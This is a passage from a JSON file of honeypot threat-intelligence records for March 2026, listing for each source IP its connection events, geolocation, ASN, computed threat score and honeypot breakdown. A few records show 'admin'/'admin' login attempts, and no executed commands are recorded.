        "first_seen_30d": "2026-03-02T23:36:40.493000+00:00",
        "last_seen_30d": "2026-03-31T12:02:11.035000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Honeytrap": 24,
        "ConPot": 4,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "66.240.192.82": {
      "attack_count": 4,
      "first_seen": "2026-03-06T22:13:50.818Z",
      "last_seen": "2026-03-06T22:13:51.674Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 64.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.1,
        "persistence": 22.5,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 27,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-05T07:29:23.443000+00:00",
        "last_seen_30d": "2026-03-31T21:51:10.376000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 4,
        "Dionaea": 3,
        "H0neytr4p": 1
      }
    },
    "91.230.168.35": {
      "attack_count": 4,
      "first_seen": "2026-03-11T05:50:54.771Z",
      "last_seen": "2026-03-11T05:51:05.592Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 81.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 30,
        "ports_targeted_30d": 57,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T17:10:52+00:00",
        "last_seen_30d": "2026-03-31T15:29:09.264000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 85,
        "Honeytrap": 57,
        "Cowrie": 4
      }
    },
    "103.214.5.133": {
      "attack_count": 3,
      "first_seen": "2026-03-03T15:18:21.951Z",
      "last_seen": "2026-03-03T15:19:52.535Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Lelystad",
      "asn": 207083,
      "as_org": "HostSlim B.V.",
      "threat_score": 51.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 9.5,
        "persistence": 23.3,
        "diversity": 10,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 28,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T15:18:21.951000+00:00",
        "last_seen_30d": "2026-03-30T07:09:22.760000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 3
      }
    },
    "167.99.142.36": {
      "attack_count": 3,
      "first_seen": "2026-03-05T10:20:33.681Z",
      "last_seen": "2026-03-05T10:20:34.016Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 49.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.5,
        "persistence": 20.0,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 24,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T10:20:33.681000+00:00",
        "last_seen_30d": "2026-03-28T09:23:29.134000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 3,
        "H0neytr4p": 1
      }
    },
    "5.189.154.130": {
      "attack_count": 3,
      "first_seen": "2026-03-21T21:08:20.014Z",
      "last_seen": "2026-03-21T21:09:21.847Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.success",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T21:08:20.014000+00:00",
        "last_seen_30d": "2026-03-21T21:10:22.219000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "94.35.140.5": {
      "attack_count": 3,
      "first_seen": "2026-03-28T19:26:00.928Z",
      "last_seen": "2026-03-28T19:28:00.935Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Elmas",
      "asn": 8612,
      "as_org": "Tiscali SpA",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T02:19:47.311000+00:00",
        "last_seen_30d": "2026-03-28T19:38:51.410000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "1.36.74.27": {
      "attack_count": 2,
      "first_seen": "2026-03-31T14:39:31.325Z",
      "last_seen": "2026-03-31T14:39:44.530Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Tai Wai",
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T14:39:31.325000+00:00",
        "last_seen_30d": "2026-03-31T14:40:50.483000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "102.210.149.67": {
      "attack_count": 2,
      "first_seen": "2026-03-24T23:51:46.098Z",
      "last_seen": "2026-03-24T23:51:46.100Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 328847,
      "as_org": "KoTDA",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T23:51:46.098000+00:00",
        "last_seen_30d": "2026-03-24T23:52:54.045000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "109.123.245.201": {
      "attack_count": 2,
      "first_seen": "2026-03-09T22:12:54.666Z",
      "last_seen": "2026-03-09T22:13:25.177Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T22:12:54.666000+00:00",
        "last_seen_30d": "2026-03-09T22:14:29.808000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "119.246.188.27": {
      "attack_count": 2,
      "first_seen": "2026-03-10T16:14:58.987Z",
      "last_seen": "2026-03-10T16:15:04.836Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9269,
      "as_org": "Hong Kong Broadband Network Ltd.",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T16:14:58.987000+00:00",
        "last_seen_30d": "2026-03-10T16:16:07.133000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "125.111.241.37": {
      "attack_count": 2,
      "first_seen": "2026-03-04T02:13:36.731Z",
      "last_seen": "2026-03-04T02:13:50.116Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Ningbo",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T02:13:36.731000+00:00",
        "last_seen_30d": "2026-03-04T02:14:56.724000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "152.32.144.106": {
      "attack_count": 2,
      "first_seen": "2026-03-10T09:15:58.618Z",
      "last_seen": "2026-03-10T09:15:58.798Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T09:15:58.618000+00:00",
        "last_seen_30d": "2026-03-10T09:17:08.810000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "162.221.222.179": {
      "attack_count": 2,
      "first_seen": "2026-03-31T18:20:03.661Z",
      "last_seen": "2026-03-31T18:20:34.249Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Lexington",
      "asn": 30600,
      "as_org": "Metronet",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T18:20:03.661000+00:00",
        "last_seen_30d": "2026-03-31T18:21:39.949000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "177.75.49.84": {
      "attack_count": 2,
      "first_seen": "2026-03-25T12:56:28.929Z",
      "last_seen": "2026-03-25T12:56:41.940Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "An\u00e1polis",
      "asn": 262588,
      "as_org": "EXPLORERNET INFOLINK TECNOLOGIA E TELECOMUNICACOES",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T12:56:28.929000+00:00",
        "last_seen_30d": "2026-03-25T12:57:42.793000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "184.105.139.67": {
      "attack_count": 2,
      "first_seen": "2026-03-30T11:59:16.558Z",
      "last_seen": "2026-03-30T11:59:18.704Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 468,
        "days_active_30d": 29,
        "ports_targeted_30d": 63,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-03T02:18:31+00:00",
        "last_seen_30d": "2026-03-31T14:31:41.012000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 313,
        "Honeytrap": 99,
        "Ciscoasa": 23,
        "H0neytr4p": 17,
        "Mailoney": 6,
        "ConPot": 4,
        "Cowrie": 2,
        "Dionaea": 2,
        "Honeyaml": 2
      }
    },
    "188.174.185.230": {
      "attack_count": 2,
      "first_seen": "2026-03-06T06:48:19.583Z",
      "last_seen": "2026-03-06T06:48:32.089Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Erlangen",
      "asn": 8767,
      "as_org": "M-net Telekommunikations GmbH",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T06:48:19.583000+00:00",
        "last_seen_30d": "2026-03-06T06:49:39.383000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "221.214.181.197": {
      "attack_count": 2,
      "first_seen": "2026-03-27T13:37:14.884Z",
      "last_seen": "2026-03-27T13:37:28.496Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T13:37:14.884000+00:00",
        "last_seen_30d": "2026-03-27T13:38:29.908000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "222.117.0.253": {
      "attack_count": 2,
      "first_seen": "2026-03-09T19:51:31.465Z",
      "last_seen": "2026-03-09T19:51:32.187Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Siheung-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T19:51:31.465000+00:00",
        "last_seen_30d": "2026-03-09T19:52:36.666000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "223.29.194.145": {
      "attack_count": 2,
      "first_seen": "2026-03-27T07:44:35.269Z",
      "last_seen": "2026-03-27T07:44:48.776Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 45804,
      "as_org": "MEGHBELA BROADBAND",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T07:44:35.269000+00:00",
        "last_seen_30d": "2026-03-27T07:45:50.556000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.30.238": {
      "attack_count": 2,
      "first_seen": "2026-03-15T19:31:06.778Z",
      "last_seen": "2026-03-15T19:31:19.796Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T19:31:06.778000+00:00",
        "last_seen_30d": "2026-03-15T19:32:30.224000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "43.163.89.165": {
      "attack_count": 2,
      "first_seen": "2026-03-15T04:44:48.637Z",
      "last_seen": "2026-03-15T04:45:19.063Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T04:44:48.637000+00:00",
        "last_seen_30d": "2026-03-15T04:46:27.609000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "5.182.17.41": {
      "attack_count": 2,
      "first_seen": "2026-03-21T22:54:34.344Z",
      "last_seen": "2026-03-21T22:54:34.708Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T22:54:34.344000+00:00",
        "last_seen_30d": "2026-03-21T22:55:38.850000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "59.126.16.66": {
      "attack_count": 2,
      "first_seen": "2026-03-10T08:23:24.687Z",
      "last_seen": "2026-03-10T08:23:55.422Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T08:23:24.687000+00:00",
        "last_seen_30d": "2026-03-10T08:25:02.522000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "68.173.243.171": {
      "attack_count": 2,
      "first_seen": "2026-03-30T18:12:24.906Z",
      "last_seen": "2026-03-30T18:12:37.580Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Port Jervis",
      "asn": 12271,
      "as_org": "Charter Communications Inc",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T18:12:24.906000+00:00",
        "last_seen_30d": "2026-03-30T18:13:46.093000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "77.37.246.239": {
      "attack_count": 2,
      "first_seen": "2026-03-30T05:55:55.475Z",
      "last_seen": "2026-03-30T05:56:26.843Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 42610,
      "as_org": "Rostelecom",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T05:55:55.475000+00:00",
        "last_seen_30d": "2026-03-30T05:57:34.647000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "85.50.0.5": {
      "attack_count": 2,
      "first_seen": "2026-03-09T06:26:20.249Z",
      "last_seen": "2026-03-09T06:26:33.753Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Valencia",
      "asn": 12479,
      "as_org": "Orange Espagne SA",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T06:26:20.249000+00:00",
        "last_seen_30d": "2026-03-09T06:27:35.380000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "90.188.29.51": {
      "attack_count": 2,
      "first_seen": "2026-03-03T22:54:32.327Z",
      "last_seen": "2026-03-03T22:54:45.237Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T22:54:32.327000+00:00",
        "last_seen_30d": "2026-03-03T22:55:54.818000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.142.73.103": {
      "attack_count": 2,
      "first_seen": "2026-03-08T12:08:36.925Z",
      "last_seen": "2026-03-08T12:10:36.927Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 48282,
      "as_org": "Hosting technology LTD",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T12:08:36.925000+00:00",
        "last_seen_30d": "2026-03-08T12:20:46.215000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
